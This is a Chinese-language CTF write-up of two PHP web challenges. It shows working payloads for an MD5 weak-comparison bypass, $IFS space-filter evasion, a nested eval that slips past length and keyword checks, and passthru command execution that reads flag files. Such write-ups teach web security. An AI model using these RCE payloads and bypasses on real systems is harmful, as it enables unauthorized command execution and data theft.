目录
[SWPUCTF 2022 新生赛]webdog1__start
1、题目
2、知识点
3、思路
[FSCTF 2023]webshell是啥捏
4、题目
5、知识点
6、思路
[SWPUCTF 2022 新生赛]webdog1__start
1、题目
2、知识点
RCE、空格绕过,嵌套eval
3、思路
出现这个页面,没有其他的提示,右键查看源代码
这里提示我们要GET方式上传一个web参数,且跟他的md5值进行弱比较
可以采用0e215962017进行绕过
?web=0e215962017
输入后跳到上面的页面,但没有什么提示信息,这里抓个包看看
发现有一个页面f14g.php,访问看看
依旧没什么提示,继续抓包看看
发现F1l1l1l1l1lag.php
出现源代码,进行审计
这里要我们上传一个get变量,
if(!strstr($get," ")),这一个判断是对空格进行过滤,如果$get的内容有空格,则为false
绕过空格:${IFS}$9 、{IFS} 、$IFS 、${IFS}、$IFS$1(其他数字也行,不一定要1)、IFS等
$get = str_ireplace("flag", " ", $get);这一句是对flag字眼进行过滤,如果有flag,则把它替换成空
if (strlen($get)>18) 这一句是对输入的字符进行限制
eval($get); eval可以执行系统命令,我们可以从这里获得flag
?get=system('ls');
?get=system('cat$IFS/flag.php');
会被限制到,这里有一个新的思路,双重eval
在eval中再执行一个eavl ,利用条件是要由eval函数,且没有过滤
?get=eval($_GET[1]);&1=system('ls');
这样既绕过了空格也绕过了长度的限制
?get=eval($_GET[1]);&1=system('cat flag.php');
没有显示信息,说明flag不在这里,右键查看源码
发现flag在根目录下
得到flag:NSSCTF{2a1f3b5a-38ca-4732-bb45-bf76e6f3e2e9}
[FSCTF 2023]webshell是啥捏
4、题目
5、知识点
RCE
6、思路
$😭对应的字母也就是:passthru
passthru是PHP的一个函数
也就是跟system()函数一样,
eval($😭($_GET['👽'])) ——》eval($passthru($_GET['👽']))
所以我们将👽上传一些系统命令
?👽=ls /;
得到flag.txt
?👽=cat /flag.txt;
得到flag:FSCTF{h3llo_ctfe2_5ign_in_webshell_Is_e@sy_right}
这篇文章就先写到这里了,哪里不懂的或者哪里不足的欢迎指出!